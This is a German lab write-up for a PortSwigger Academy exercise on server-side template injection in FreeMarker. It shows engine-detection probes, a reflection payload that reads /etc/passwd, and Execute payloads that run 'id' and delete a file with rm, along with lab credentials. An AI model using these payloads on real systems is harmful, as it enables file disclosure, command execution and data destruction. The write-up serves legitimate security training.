> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI mithilfe der Dokumentation der Java-Template-Engine

Notizen zu SSTI mithilfe der Dokumentation der Java-Template-Engine für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Serverseitige Template-Injektion unter Verwendung von Dokumentation

Dieses Labor präsentiert eine Schwachstelle **SSTI**. Das Ziel ist es, die verwendete Template-Engine zu identifizieren, ihre Dokumentation zu konsultieren, um zu verstehen, wie beliebiger Code ausgeführt wird, und dann die Datei moral.txt im Carlos-Verzeichnis zu löschen. / Die bereitgestellten Anmeldedaten sind: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analyse des Templates**

In den Kommentaren wird von der Engine ein Ausdruck angegeben:

* Einfacher Test :

```java
${7*7}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ein Fehler verrät, dass die verwendete Engine **Freemarker (Java)**.
* Ein neuer Ausdruck wie `${7*a}` bestätigt die Interpretation des Templates.

```java
${7*a}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Datei lesen**

Um die Datei /etc/passwd zu lesen, werden die über das Objekt zugänglichen Methoden verwendet:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Befehlsausführung**

Freemarker erlaubt das Aufrufen von `Ausführen` Hilfsprogramm:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Gelöschte Zieldatei**

Um moral.txt aus dem Carlos-Verzeichnis zu entfernen:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

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